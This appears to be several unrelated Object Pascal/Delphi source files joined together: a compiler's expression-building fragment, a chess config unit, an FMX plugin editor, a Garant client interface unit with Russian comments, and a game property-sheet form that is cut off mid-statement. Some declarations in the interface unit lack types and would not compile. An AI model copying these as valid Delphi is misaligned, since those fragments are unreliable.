{returned pointer to comparision expression} if use_err then begin {need to OR error flag with comparison} sst_mem_alloc_scope (sizeof(expe_p^), expe_p); {alloc mem for new descriptors} sst_mem_alloc_scope (sizeof(term_p^), term_p); sst_mem_alloc_scope (sizeof(var_p^), var_p); expe_p^.str_h := exp_p^.str_h; {fill in top level expression descriptor} expe_p^.dtype_p := nil; expe_p^.dtype_hard := true; expe_p^.val_eval := false; expe_p^.val_fnd := false; expe_p^.rwflag := [sst_rwflag_read_k]; expe_p^.term1.next_p := term_p; {fill in first term in top expression} expe_p^.term1.op2 := sst_op2_none_k; expe_p^.term1.op1 := sst_op1_none_k; expe_p^.term1.ttype := sst_term_exp_k; expe_p^.term1.str_h := exp_p^.str_h; expe_p^.term1.dtype_p := nil; expe_p^.term1.dtype_hard := true; expe_p^.term1.val_eval := false; expe_p^.term1.val_fnd := false; expe_p^.term1.rwflag := exp_p^.rwflag; expe_p^.term1.exp_exp_p := exp_p; term_p^.next_p := nil; {fill in second term in top expression} term_p^.op2 := sst_op2_or_k; term_p^.op1 := sst_op1_none_k; term_p^.ttype := sst_term_var_k; term_p^.str_h := exp_p^.str_h; term_p^.dtype_p := nil; term_p^.dtype_hard := true; term_p^.val_eval := false; term_p^.val_fnd := false; term_p^.rwflag := [sst_rwflag_read_k, sst_rwflag_write_k]; term_p^.var_var_p := var_p; var_p^.dtype_p := sym_error_p^.var_dtype_p; {fill in variable reference desc} var_p^.rwflag := [sst_rwflag_read_k, sst_rwflag_write_k]; var_p^.vtype := sst_vtype_var_k; var_p^.mod1.next_p := nil; var_p^.mod1.modtyp := sst_var_modtyp_top_k; var_p^.mod1.top_str_h := exp_p^.str_h; var_p^.mod1.top_sym_p := sym_error_p; sst_opc_p^.if_exp_p := expe_p; {set expression to use for IF decision} end else begin {not figuring error flag in comparison} sst_opc_p^.if_exp_p := exp_p; {use raw comparison expression directly} end ; sst_exp_eval (sst_opc_p^.if_exp_p^, false); {fully evaluate conditional expression} { * Write code for YES case. } sst_opcode_pos_push (sst_opc_p^.if_true_p); {set up for writing TRUE code} sst_r_syo_opc_assign (sym_mflag, sym_mflag_yes_p^); sst_opcode_pos_pop; {pop back to parent opcode chain} { * Write code for NO case. } sst_opcode_pos_push (sst_opc_p^.if_false_p); {set up for writing FALSE code} sst_r_syo_opc_assign (sym_mflag, sym_mflag_no_p^); sst_opcode_pos_pop; {pop back to parent opcode chain} end;
unit chessconfig; {$mode objfpc}{$H+} interface uses Classes, SysUtils, Forms; type { TChessConfig } TChessConfig = class public function GetResourcesDir: string; function GetCurrentSkinDir: string; end; var vChessConfig: TChessConfig; implementation {$ifdef Darwin} uses MacOSAll; {$endif} const BundleResourcesDirectory = '/Contents/Resources/'; { TChessConfig } function TChessConfig.GetResourcesDir: string; {$ifdef Darwin} var pathRef: CFURLRef; pathCFStr: CFStringRef; pathStr: shortstring; {$endif} begin {$ifdef UNIX} {$ifdef Darwin} pathRef := CFBundleCopyBundleURL(CFBundleGetMainBundle()); pathCFStr := CFURLCopyFileSystemPath(pathRef, kCFURLPOSIXPathStyle); CFStringGetPascalString(pathCFStr, @pathStr, 255, CFStringGetSystemEncoding()); CFRelease(pathRef); CFRelease(pathCFStr); Result := pathStr + BundleResourcesDirectory; {$else} Result := ''; {$endif} {$endif} {$ifdef Windows} Result := ExtractFilePath(Application.EXEName); {$endif} end; function TChessConfig.GetCurrentSkinDir: string; begin Result := GetResourcesDir() + 'skins' + PathDelim + 'classic' + PathDelim; end; initialization vChessConfig := TChessConfig.Create; finalization vChessConfig.Free; end.
unit uPluginEdit; interface uses System.SysUtils, System.Types, System.UITypes, System.Classes, System.Variants, FMX.Types, FMX.Controls, FMX.Forms, FMX.Graphics, FMX.Dialogs, uPlugin, FMX.StdCtrls, FMX.Controls.Presentation, FMX.Edit, FMX.ListBox, FMX.Objects, FMX.Layouts, System.Actions, FMX.ActnList, FMX.StdActns, FMX.MediaLibrary.Actions; type TfPluginEdit = class(TForm) lyt1: TLayout; img: TImage; cbbTypes: TComboBox; txtName: TEdit; txtPath: TEdit; btnSave: TButton; btnCancel: TButton; lyt2: TLayout; btnLoadImage: TButton; dlgOpen: TOpenDialog; btnAddScript: TButton; procedure FormCreate(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure btnLoadImageClick(Sender: TObject); procedure btnSaveClick(Sender: TObject); procedure cbbTypesChange(Sender: TObject); procedure btnAddScriptClick(Sender: TObject); private { Private declarations } public { Public declarations } FPlugin : TPlugin; procedure LoadPLugin(pPlugin : Pointer); end; var fPluginEdit: TfPluginEdit; implementation uses uMain; {$R *.fmx} {------------------------------------------------------------------------------} procedure TfPluginEdit.btnAddScriptClick(Sender: TObject); begin {$IFDEF MACOS} dlgOpen.Filter := 'Scripts|*.txt'; if dlgOpen.Execute then begin txtPath.Text := dlgOpen.FileName; end; exit; {$ENDIF} {$IFDEF MSWINDOWS} dlgOpen.Filter := 'Scripts|*.txt'; if dlgOpen.Execute then begin txtPath.Text := dlgOpen.FileName; end; {$ENDIF} end; procedure TfPluginEdit.btnLoadImageClick(Sender: TObject); var sJson, encodeString : string; begin {$IFDEF MACOS} dlgOpen.Filter := 'Icons|*.png'; if dlgOpen.Execute then begin img.Bitmap.LoadFromFile(dlgOpen.FileName); end; exit; {$ENDIF} {$IFDEF MSWINDOWS} dlgOpen.Filter := 'Icons|*.png'; if dlgOpen.Execute then begin img.Bitmap.LoadFromFile(dlgOpen.FileName); end; {$ELSE} fMain.TakePhotoFromLibraryAction.ExecuteTarget(img); {$ENDIF} end; {------------------------------------------------------------------------------} procedure TfPluginEdit.btnSaveClick(Sender: TObject); begin FPlugin.FName := txtName.Text; FPlugin.FIcon.Assign(img.Bitmap); FPlugin.FPath := txtPath.Text; FPlugin.FType := cbbTypes.ItemIndex; end; {------------------------------------------------------------------------------} procedure TfPluginEdit.cbbTypesChange(Sender: TObject); begin btnAddScript.Visible := cbbTypes.ItemIndex = 1; end; {------------------------------------------------------------------------------} procedure TfPluginEdit.FormCreate(Sender: TObject); var iType : string; begin FPlugin := TPlugin.Create; cbbTypes.Clear; cbbTypes.Items.AddStrings(uPlugin.TPlugins.FTypes.ToStringArray); cbbTypes.ItemIndex := 0; end; {------------------------------------------------------------------------------} procedure TfPluginEdit.FormDestroy(Sender: TObject); begin FPlugin := nil; end; {------------------------------------------------------------------------------} procedure TfPluginEdit.LoadPLugin(pPlugin : Pointer); var plugin : TPlugin; begin plugin := TPlugin(pPlugin); if not Assigned(plugin) then exit; FPlugin := plugin; txtName.Text := FPlugin.FName; img.Bitmap.Assign(FPlugin.FIcon); txtPath.Text := FPlugin.FPath; cbbTypes.ItemIndex := FPlugin.FType; end; {------------------------------------------------------------------------------} end.
unit StartUnit; // Модуль: "w:\garant6x\implementation\Garant\tie\Garant\GblAdapterLib\StartUnit.pas" // Стереотип: "Interfaces" // Элемент модели: "Start" MUID: (456FF1DD031C) {$Include w:\garant6x\implementation\Garant\nsDefine.inc} interface uses l3IntfUses , IOUnit , BaseTypesUnit , FoldersUnit , DocumentUnit , ExternalObjectUnit , SettingsUnit , SearchUnit , SecurityUnit , BannerUnit ; const {* параметры инишника для отображения картинок во внешнем приложении } PATH_TO_PICTURES: PAnsiChar = -PathToPictures; PATH_TO_EXECUTABLE: PAnsiChar = -PathToPicturesExecutable; {* Константы для электронной отчётности } EO_ENABLED: PAnsiChar = -EOEnable; {* подключён ли модуль ЭО. По-умолчанию считаем, что подключён. } type IPAddressNotFound = class {* Возбуждается, когда не надено ни одного IP адреса для машины клиента (вероятные причины: нет активных сетевых соединений). } end;//IPAddressNotFound InvalidBase = class {* Отсутствует или неверная база. } end;//InvalidBase NoServer = class {* Возбуждается в случае, когда по каким-то причинам сервер оказался недоступным. } end;//NoServer BadNetworkConfig = class {* Возбуждается, если в течении 10 секунд не пришел ответ от сервера ни на один из IP адрессов на машине-клиенте (вероятные причины: firewall блокирует `incoming connection` на порты, которые использует ACE/TAO при обратном вызове). } end;//BadNetworkConfig SMTPServerAddressNotDefined = class {* Не задан адрес SMTP сервера } end;//SMTPServerAddressNotDefined SMTPServerNotFound = class {* Приложение не может соединиться c SMTP сервером. Возможно была допущена ошибка в при вводе адреса сервера. } end;//SMTPServerNotFound UserNotFound = class {* Пользователь не найден } end;//UserNotFound ServerVersionNotValid = class end;//ServerVersionNotValid InternalServerError = class {* Внутренняя ошибка сервера } end;//InternalServerError WorkingParamsNotFound = class {* Не найдены параметры, необходимые для работы приложения. } end;//WorkingParamsNotFound BadSMTPReply = class end;//BadSMTPReply SettingsRestoreFails = class end;//SettingsRestoreFails ExternalApplicationError = class {* Ошибка при работе внешнего приложения } end;//ExternalApplicationError AlreadyLogged = class end;//AlreadyLogged TCapacity = ( {* Разрядность } C_32 , C_64 );//TCapacity TProductType = ( {* тип продукта } PT_UNKNOWN , PT_DVD , PT_MOBILE , PT_FILESERVER , PT_DESKTOP , PT_CLIENTSERVER , PT_SUPERMOBILE );//TProductType AccountDisabled = class end;//AccountDisabled NoMoreConnections = class end;//NoMoreConnections SMTPAuthorizationFailed = class {* Неудачная авторизация на почтовом сервере } end;//SMTPAuthorizationFailed MorphoNotExists = class {* отсутствует морфоиндекс. } end;//MorphoNotExists TBaseType = ( {* Тип оболочки } BT_UNKNOWN {* Неизвестный тип (отсутствует data.org) } , BT_TRIAL {* Ознакомительная версия } , BT_COMMERCIAL {* Коммерческая база } , BT_NON_COMMERCIAL {* Не коммерческая база } , BT_DEMO {* Демоверсия } );//TBaseType InternalApplicationError = class {* ошибка в механизме gcm } end;//InternalApplicationError InvalidUserDatastore = class {* может быть брошено только на desktop версии - сигнализирует о битой базе пользовалетя (что-то из содержимого каталога settings) } end;//InvalidUserDatastore IAuthorization = interface {* Интерфейс обеспечивает начальную авторизацию в системе, открытие выбранного комплекта данных, получение информации о комплекте. } ['{A49B3BF6-B27F-4D79-A67E-C51AF7F67855}'] function GetProtectionError: Integer; stdcall; function GetRestTrialDaysCount: Integer; stdcall; function GetAutoregistrationStatus: ByteBool; stdcall; procedure SetAutoregistrationStatus(const aValue: ByteBool); stdcall; { can raise AccessDenied } procedure GetAdministratorEmail; stdcall; procedure SetAdministratorEmail(const aValue); stdcall; procedure GetAdministratorPhone; stdcall; procedure SetAdministratorPhone(const aValue); stdcall; procedure Login(login: PAnsiChar; password: PAnsiChar); stdcall; { can raise WrongAuthentication, NoMoreProfiles, XMLImportRunning, ShutdownInited, TrialPeriodExpired, AlreadyLogged, AccountDisabled, NoMoreConnections } {* Начало работы с системой. При успешном завершении подключается к базе, прописанной в параметрах, как база по умолчанию и возвращает интерфейс ICommon. } procedure GuestLogin; stdcall; { can raise NoMoreProfiles, LicenceViolation, XMLImportRunning, ShutdownInited, TrialPeriodExpired, NoMoreConnections } {* Начало работы с системой пользователя-гостя. При успешном завершении подключается к базе, прописанной в параметрах, как база по умолчанию и возвращает интерфейс ICommon. } procedure Logout; stdcall; {* Окончание работы с системой. } procedure Autoregistration(name: PAnsiChar; login: PAnsiChar; password: PAnsiChar; email: PAnsiChar); stdcall; { can raise WrongAuthentication, NoMoreProfiles, LicenceViolation, XMLImportRunning, ShutdownInited, TrialPeriodExpired, NoMoreConnections, AutoregistrationDisabled } {* Аналогично login но с регистрацией нового пользователя. email - адрес, на который в последствии может быть выслана информация о пользователе (логин, пароль) } procedure SendUserInfoByEmail(email: PAnsiChar); stdcall; { can raise SMTPServerAddressNotDefined, SMTPServerNotFound, UserNotFound, BadSMTPReply, SMTPAuthorizationFailed } {* Проверяет наличие указанного адреса в базе. Если адрес найден, высылает на него информацию о пользователе. } function IsServerAlive: ByteBool; stdcall; {* возвращает true если сервер доступен, false иначе } procedure LogoutWithoutXmlBackup; stdcall; {* K274827650 } property ProtectionError: Integer read GetProtectionError; {* Ошибка защиты. } property RestTrialDaysCount: Integer read GetRestTrialDaysCount; {* Колличество оставшихся триальных дней. Если `== 0` - триальный период истек; если `< 0` триальный период не установлен. } property AutoregistrationStatus: ByteBool read GetAutoregistrationStatus write SetAutoregistrationStatus; {* статус авторегистрации } property AdministratorEmail: read GetAdministratorEmail write SetAdministratorEmail; {* Почта администратора } property AdministratorPhone: read GetAdministratorPhone write SetAdministratorPhone; {* Телефон администратора } end;//IAuthorization ServerIsStarting = class {* сервер запущен, находится в процессе инициализации } end;//ServerIsStarting TLicenseRestrictions = record {* Различные лицензионные счетчики } users: Cardinal; {* Разрешенное количество обычных пользователей } permanent_users: Cardinal; {* Разрешенное количество пользователей с постоянным доступом } end;//TLicenseRestrictions ICommon = interface {* Интерфейс обеспечивает доступ к основной функциональности системы, доступной из "Основного меню" или навигатора. } ['{E07B0F92-C20B-4AB2-84A3-33BC2AF4659C}'] procedure GetBaseDate; stdcall; procedure GetLicenseRestrictions; stdcall; function GetDocumentOnNumber(number: Integer; out document: IDocument; out missing_info: IMissingInfo): ByteBool; stdcall; {* Возвращает документ (Document) по заданному внутреннему ("гарантовскому") номеру. } procedure StartProcessingFolderNotification(var notifier: IExternalFoldersChangeNotifier); stdcall; {* Установить нотификацию изменения папок. } function IsExplanatoryDictionaryExist: ByteBool; stdcall; {* Проверяет существует (доступен) ли в системе Толковый словарь. Возвращает true в случае, если толковый словарь существует. } function IsPharmExist: ByteBool; stdcall; function CheckInternal: ByteBool; stdcall; {* проверка является ли база с лицензионными настройками - "для внутреннего использования" } procedure ShowPicturesOnNumber(number: Integer); stdcall; { can raise WorkingParamsNotFound, ExternalApplicationError } {* показывает рисунки для заданного топика (функциональность внутренней версии) } procedure GetComplectName(out aRet {* IString }); stdcall; function AutoShowHelp: ByteBool; stdcall; {* показывать ли помощь при первом запуске после инсталяции. } function GetProductType: TProductType; stdcall; {* получить тип установленного продукта } procedure GetSplashScreen(is_start: Boolean; x: short; y: short; flash_available: Boolean; out aRet {* ISplashScreen }); stdcall; {* Получить сплеш } procedure GetSettingsManager(out aRet {* ISettingsManager }); stdcall; {* Получить менеджер настроек } function IsEoEnabled: ByteBool; stdcall; {* доступен ли модуль ЭО. } function GetBaseType: TBaseType; stdcall; {* Тип базы } procedure CreateFolderNotificationQueue; stdcall; {* Создать очередь обработки папочных нотификаций } procedure GetBanner(out aRet {* IBanner }); stdcall; { can raise CanNotFindData } {* Получить баннер } function IsTrimmedPublishSourceExists: ByteBool; stdcall; {* Есть ли усеченный индекс Источник опубликования } procedure GetScriptsSystemDictionary(out aRet {* IStream }); stdcall; {* словарь для скриптов (К271754146) } procedure GetPicture(id: Integer; out aRet {* IExternalObject }); stdcall; { can raise CanNotFindData } function IsEraseOfInactiveUsersEnabled: ByteBool; stdcall; {* включена ли поддержка удаления пользователей, которые давно не пользовались системой } procedure GetEncryptedComplectId(out aRet {* IString }); stdcall; {* получить зашифрованный идентификатор комплекта } function IsEarlyInstalled: ByteBool; stdcall; {* признак ранее установленной версии } property BaseDate: read GetBaseDate; property LicenseRestrictions: read GetLicenseRestrictions; {* Лицензионные ограничения на количество пользователей } end;//ICommon IComponentManager = interface ['{C92D07EF-D91F-4CDD-BD8E-FC8DF18CC42C}'] procedure Start; stdcall; { can raise StorageLocked, LicenceViolation, ConfigurationsNotDefined, IPAddressNotFound, InvalidBase, NoServer, BadNetworkConfig, ServerVersionNotValid, WorkingParamsNotFound, NoMoreConnections, MorphoNotExists, InternalApplicationError, InvalidUserDatastore, ServerIsStarting } procedure Stop; stdcall; end;//IComponentManager IAssemblyInfo = interface ['{D5DBA4D0-D3CD-43ED-9E01-CC854B442DA1}'] function GetIsDebug: ByteBool; stdcall; function GetIsDesktop: ByteBool; stdcall; function GetIsCommerce: ByteBool; stdcall; function GetFirstStart: ByteBool; stdcall; procedure SetFirstStart(const aValue: ByteBool); stdcall; function GetServerCapacity: TCapacity; stdcall; property IsDebug: ByteBool read GetIsDebug; property IsDesktop: ByteBool read GetIsDesktop; property IsCommerce: ByteBool read GetIsCommerce; property FirstStart: ByteBool read GetFirstStart write SetFirstStart; property ServerCapacity: TCapacity read GetServerCapacity; {* Разрядность сервера } end;//IAssemblyInfo implementation uses l3ImplUses ; end.
unit SrvGeneralSheetForm; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, VisualControls, ObjectInspectorInterfaces, PercentEdit, GradientBox, FramedButton, SheetHandlers, ExtCtrls, FingerTabs, InternationalizerComponent; const tidSecurityId = 'SecurityId'; tidTrouble = 'Trouble'; tidServiceCount = 'ServiceCount'; tidCurrBlock = 'CurrBlock'; tidCost = 'Cost'; tidROI = 'ROI'; const facStoppedByTycoon = $04; type TServiceGeneralSheetHandler = class; TServiceGeneralSheetViewer = class(TVisualControl) GeneralPanel: TPanel; Label1: TLabel; Label2: TLabel; xfer_Creator: TLabel; Label6: TLabel; xfer_MetaFacilityName: TLabel; btnClose: TFramedButton; btnDemolish: TFramedButton; btnConnect: TFramedButton; NameLabel: TLabel; xfer_Name: TEdit; trgPanel: TPanel; Panel2: TPanel; Price: TPercentEdit; Label3: TLabel; Supply: TLabel; LocalDemand: TLabel; Label5: TLabel; Label4: TLabel; PricePerc: TLabel; ftServices: TFingerTabs; Shape1: TShape; Label8: TLabel; lbCost: TLabel; Label9: TLabel; lbROI: TLabel; tRefresh: TTimer; InternationalizerComponent1: TInternationalizerComponent; procedure xfer_NameKeyPress(Sender: TObject; var Key: Char); procedure btnCloseClick(Sender: TObject); procedure btnDemolishClick(Sender: TObject); procedure btnVisitSiteClick(Sender: TObject); procedure ftServicesOnFingerChange(Sender: TObject); procedure PriceChange(Sender: TObject); procedure PriceMoveBar(Sender: TObject); procedure btnConnectClick(Sender: TObject); procedure tRefreshTimer(Sender: TObject); private procedure WMEraseBkgnd(var Message: TMessage); message WM_ERASEBKGND; procedure SelectService(index : integer); private fHandler : TServiceGeneralSheetHandler; end; TServiceGeneralSheetHandler = class(TLockableSheetHandler, IPropertySheetHandler) private fControl : TServiceGeneralSheetViewer; fOwnsFacility : boolean; fCurrBlock : integer; fQueryFlag : boolean; private procedure SetContainer(aContainer : IPropertySheetContainerHandler); override; function CreateControl(Owner : TControl) : TControl; override; function GetControl : TControl; override; procedure RenderProperties(Properties : TStringList); override; procedure SetFocus; override; procedure Clear; override; private procedure SetName(str : string); procedure RenderServicesToVCL(List : TStringList); procedure RenderServicesToList(count : integer; List : TStringList); procedure threadedGetProperties(const parms : array of const); procedure threadedRenderProperties(const parms : array of const); procedure threadedRefresh(const parms : array of const); procedure threadedRenderRefresh(const parms : array of const); procedure threadedSetPrice(const parms : array of const); end; var ServiceGeneralSheetViewer: TServiceGeneralSheetViewer; function ServiceGeneralSheetHandlerCreator : IPropertySheetHandler; stdcall; implementation uses SheetHandlerRegistry, FiveViewUtils, ObjectInspectorHandleViewer, Protocol, GateInfo, MathUtils, Threads, CacheCommon, SheetUtils, Literals, ClientMLS; {$R *.DFM} // TServiceGeneralSheetHandler procedure TServiceGeneralSheetHandler.SetContainer(aContainer : IPropertySheetContainerHandler); begin inherited; end; function TServiceGeneralSheetHandler.CreateControl(Owner : TControl) : TControl; begin fControl := TServiceGeneralSheetViewer.Create(Owner); fControl.fHandler := self; //fContainer.ChangeHeight(130); result := fControl; end; function TServiceGeneralSheetHandler.GetControl : TControl; begin result := fControl; end; procedure TServiceGeneralSheetHandler.RenderProperties(Properties : TStringList); var trouble : string; roi : integer; begin LockWindowUpdate( fControl.Handle ); try FiveViewUtils.SetViewProp(fControl, Properties); trouble := Properties.Values[tidTrouble]; fOwnsFacility := GrantAccess( fContainer.GetClientView.getSecurityId, Properties.Values[tidSecurityId] ); if (trouble <> '') and (StrToInt(trouble) and facStoppedByTycoon <> 0) then fControl.btnClose.Text := GetLiteral('Literal81') else fControl.btnClose.Text := GetLiteral('Literal82'); if not fOwnsFacility then begin fControl.NameLabel.Caption := fControl.xfer_Name.Text; fControl.xfer_Name.Hide; fControl.NameLabel.Show; try fCurrBlock := StrToInt(Properties.Values[tidCurrBlock]); except fCurrBlock := 0; end; end else begin try fCurrBlock := StrToInt(Properties.Values[tidCurrBlock]); except fCurrBlock := 0; end; fControl.xfer_Name.Show; fControl.NameLabel.Hide; fControl.xfer_Name.Enabled := true; end; fControl.btnClose.Enabled := fOwnsFacility; fControl.btnDemolish.Enabled := fOwnsFacility; fControl.Price.Enabled := fOwnsFacility; fControl.lbCost.Caption := MathUtils.FormatMoneyStr(Properties.Values[tidCost]); try roi := round(StrToFloat(Properties.Values[tidROI])); if roi = 0 then fControl.lbROI.Caption := GetLiteral('Literal83') else if roi > 0 then fControl.lbROI.Caption := GetFormattedLiteral('Literal84', [Properties.Values[tidROI]]) else fControl.lbROI.Caption := GetLiteral('Literal85'); except fControl.lbROI.Caption := NA; end; RenderServicesToVCL(Properties); fControl.ftServices.CurrentFinger := 0; fControl.btnConnect.Enabled := true; finally LockWindowUpdate(0); end; end; procedure TServiceGeneralSheetHandler.SetFocus; var Names : TStringList; begin if not fLoaded then begin inherited; fCurrBlock := 0; Names := TStringList.Create; FiveViewUtils.GetViewPropNames(fControl, Names); Threads.Fork(threadedGetProperties, priNormal, [Names, fLastUpdate]); end; end; procedure TServiceGeneralSheetHandler.Clear; begin inherited; fControl.NameLabel.Caption := NA; fControl.tRefresh.Enabled := false; fControl.xfer_Name.Text := ''; fControl.xfer_Name.Enabled := false; fControl.xfer_MetaFacilityName.Caption := NA; fControl.xfer_Creator.Caption := NA; fControl.lbCost.Caption := NA; fControl.lbROI.Caption := NA; fControl.LocalDemand.Caption := NA; fControl.Supply.Caption := NA; fControl.Price.Value := 0; fControl.Price.Enabled := false; fControl.PricePerc.Caption := NA; fControl.btnClose.Enabled := false; fControl.btnDemolish.Enabled := false; fControl.btnConnect.Enabled := false; fQueryFlag := false; Lock; try fControl.ftServices.ClearFingers; finally Unlock; end; end; procedure TServiceGeneralSheetHandler.SetName(str : string); var MSProxy : OleVariant; begin try try fControl.Cursor := crHourGlass; MSProxy := fContainer.GetMSProxy; if not VarIsEmpty(MSProxy) and fOwnsFacility and CacheCommon.ValidName(str) then MSProxy.Name := str else Beep; finally fControl.Cursor := crDefault; end; except end; end; procedure TServiceGeneralSheetHandler.RenderServicesToVCL(List : TStringList); var i : integer; Info : TGateInfo; ppName : string; fgName : string; count : integer; begin try count := StrToInt(List.Values['ServiceCount']); except count := 0; end; fControl.ftServices.BeginUpdate; fControl.ftServices.ClearFingers; for i := 0 to pred(count) do begin Info := TGateInfo.Create; ppName := 'srvSupplies' + IntToStr(i); Info.AddProp('Supply', List.Values[ppName]); ppName := 'srvDemands' + IntToStr(i); Info.AddProp('Demand', List.Values[ppName]); ppName := 'srvMarketPrices' + IntToStr(i); Info.AddProp('MarketPrice', List.Values[ppName]); ppName := 'srvPrices' + IntToStr(i); Info.AddProp('Price', List.Values[ppName]); ppName := 'srvAvgPrices' + IntToStr(i); Info.AddProp('AvgPrice', List.Values[ppName]); ppName := 'srvNames' + IntToStr(i) + '.' + ActiveLanguage; fgName := List.Values[ppName]; fControl.ftServices.AddFinger(UpperCase(fgName), Info); end; fControl.ftServices.EndUpdate; end; procedure TServiceGeneralSheetHandler.RenderServicesToList(count : integer; List : TStringList); var Proxy : OleVariant; i : integer; iStr : string; Names : TStringList; begin Proxy := GetContainer.GetCacheObjectProxy; if not VarIsEmpty(Proxy) then begin Names := TStringList.Create; try for i := 0 to pred(count) do begin iStr := IntToStr(i); Names.Add('srvSupplies' + iStr); Names.Add('srvDemands' + iStr); Names.Add('srvMarketPrices' + iStr); Names.Add('srvPrices' + iStr); Names.Add('srvAvgPrices' + iStr); Names.Add('srvNames' + iStr + '.' + ActiveLanguage); end; GetContainer.GetPropertyList(Proxy, Names, List); finally Names.Free; end; end; end; procedure TServiceGeneralSheetHandler.threadedGetProperties( const parms : array of const ); var Names : TStringList absolute parms[0].vPointer; Prop : TStringList; Update : integer; svrCnt : string; begin Update := parms[1].vInteger; Names.Add(tidSecurityId); Names.Add(tidTrouble); Names.Add(tidCurrBlock); Names.Add(tidServiceCount); Names.Add(tidCost); Names.Add(tidROI); Lock; try try if Update = fLastUpdate then Prop := fContainer.GetProperties(Names) else Prop := nil; finally Names.Free; end; if Update = fLastUpdate then svrCnt := Prop.Values[tidServiceCount] else svrCnt := ''; if (svrCnt <> '') and (Update = fLastUpdate) then RenderServicesToList(StrToInt(svrCnt), Prop); finally Unlock; end; if Update = fLastUpdate then Threads.Join(threadedRenderProperties, [Prop, Update]) else Prop.Free; end; procedure TServiceGeneralSheetHandler.threadedRenderProperties( const parms : array of const ); var Prop : TStringList absolute parms[0].vPointer; begin try try if fLastUpdate = parms[1].vInteger then begin RenderProperties(Prop); fControl.tRefresh.Enabled := true; end; finally Prop.Free; end; except end; end; procedure TServiceGeneralSheetHandler.threadedRefresh(const parms : array of const); var Proxy : OleVariant; supply : integer; demand : integer; Update : integer; Finger : integer; begin try Update := parms[0].vInteger; Finger := parms[1].vInteger; supply := 0; demand := 0; //Lock; try if (Update = fLastUpdate) and (Finger = fControl.ftServices.CurrentFinger) and not fQueryFlag then try try fQueryFlag := true; if fControl.ftServices.CurrentFinger <> noFinger then begin Proxy := GetContainer.GetMSProxy; if not VarIsEmpty(Proxy) and (fCurrBlock <> 0) then begin Proxy.BindTo(fCurrBlock); supply := Proxy.RDOGetDemand(fControl.ftServices.CurrentFinger); Proxy.BindTo(fCurrBlock); // >> demand := Proxy.RDOGetSupply(fControl.ftServices.CurrentFinger); end; end; finally fQueryFlag := false; end; except end; finally //Unlock; end; if (Update = fLastUpdate) and (Finger = fControl.ftServices.CurrentFinger) then Threads.Join(threadedRenderRefresh, [fLastUpdate, Finger, supply, demand]); except end; end; procedure TServiceGeneralSheetHandler.threadedRenderRefresh(const parms : array of const); begin try if (parms[0].vInteger = fLastUpdate) and (parms[1].vInteger = fControl.ftServices.CurrentFinger) then begin fControl.LocalDemand.Caption := IntToStr(parms[2].VInteger) + '%'; fControl.Supply.Caption := IntToStr(parms[3].VInteger) + '%'; end; except end; end; procedure TServiceGeneralSheetHandler.threadedSetPrice(const parms : array of const); var Proxy : OleVariant; Info : TGateInfo; price : integer; begin if (fLastUpdate = parms[0].vInteger) and (parms[1].vInteger = fControl.ftServices.CurrentFinger) and (fControl.ftServices.CurrentFinger <> noFinger) then begin price := parms[2].vInteger; Proxy := GetContainer.GetMSProxy; if not VarIsEmpty(Proxy) and (fCurrBlock <> 0) and fOwnsFacility then begin Proxy.BindTo(fCurrBlock); Proxy.WaitForAnswer := false; Proxy.RDOSetPrice(fControl.ftServices.CurrentFinger, price); Info := TGateInfo(fControl.ftServices.Objects[fControl.ftServices.CurrentFinger]); Info.IntValue['Price'] := price; end; end; end; // TServiceGeneralSheetViewer procedure TServiceGeneralSheetViewer.xfer_NameKeyPress(Sender: TObject; var Key: Char); begin if Key = #13 then fHandler.SetName(xfer_Name.Text) else if Key in NotAllowedChars then Key := #0; end; procedure TServiceGeneralSheetViewer.btnCloseClick(Sender: TObject); var MSProxy : OleVariant; begin if btnClose.Text = GetLiteral('Literal86') then begin MSProxy := fHandler.fContainer.GetMSProxy; if not VarIsEmpty(MSProxy) then begin MSProxy.Stopped := true; btnClose.Text := GetLiteral('Literal87'); end else Beep; end else begin MSProxy := fHandler.fContainer.GetMSProxy; if not VarIsEmpty(MSProxy) then begin MSProxy.Stopped := false; btnClose.Text := GetLiteral('Literal88'); end else Beep; end end; procedure TServiceGeneralSheetViewer.btnDemolishClick(Sender: TObject); var Proxy : OleVariant; begin if (fHandler.fCurrBlock <> 0) and fHandler.fOwnsFacility then try Proxy := fHandler.fContainer.GetMSProxy; Proxy.BindTo('World'); if Proxy.RDODelFacility(fHandler.GetContainer.GetXPos, fHandler.GetContainer.GetYPos) <> NOERROR then Beep; except end; end; procedure TServiceGeneralSheetViewer.WMEraseBkgnd(var Message: TMessage); begin Message.Result := 1; end; procedure TServiceGeneralSheetViewer.btnVisitSiteClick(Sender: TObject); var url : string; begin url := '?frame_Action=' + htmlAction_VisitWebSite; if fHandler.fOwnsFacility then url := url + '&Access=MODIFY'; fHandler.fContainer.HandleURL(url, false); end; procedure TServiceGeneralSheetViewer.SelectService(index : integer); var Info : TGateInfo; begin Info := TGateInfo(ftServices.Objects[index]); Price.Value := Info.IntValue['Price']; Price.MidValue := Info.IntValue['AvgPrice']; LocalDemand.Caption := Info.StrValue['Demand'] + '%'; Supply.Caption := Info.StrValue['Supply'] + '%'; end; procedure TServiceGeneralSheetViewer.ftServicesOnFingerChange(Sender: TObject); begin SelectService(ftServices.CurrentFinger); end; procedure TServiceGeneralSheetViewer.PriceChange(Sender: TObject); begin Threads.Fork(fHandler.threadedSetPrice, priNormal, [fHandler.fLastUpdate, ftServices.CurrentFinger, Price.Value]); end; procedure TServiceGeneralSheetViewer.PriceMoveBar(Sender: TObject); var Info : TGateInfo; Prc : currency; begin if (ftServices <> nil) and (ftServices.CurrentFinger <> noFinger) then begin Info := TGateInfo(ftServices.Objects[ftServices.CurrentFinger]); try Prc := StrToCurr(Info.StrValue['MarketPrice'])*Price.Value/100; PricePerc.Caption := MathUtils.FormatMoney(Prc) + ' (' + IntToStr(Price.Value) + '%)'; except PricePerc.Caption := NA; end; end; end; procedure TServiceGeneralSheetViewer.btnConnectClick(Sender: TObject); var url : string; begin url := 'http://local.asp?frame_Id=MapIsoView&frame_Action=PICKONMAP'; fHandler.GetContainer.HandleURL(url, false); end; procedure TServiceGeneralSheetViewer.tRefreshTimer(Sender: TObject); begin if fHandler.fCurrBlock <> 0 then Threads.Fork(fHandler.threadedRefresh, priNormal, [fHandler.fLastUpdate, ftServices.CurrentFinger]); end; // Registration function function ServiceGeneralSheetHandlerCreator : IPropertySheetHandler; begin result := TServiceGeneralSheetHandler.Create; end; initialization SheetHandlerRegistry.RegisterSheetHandler('SrvGeneral', 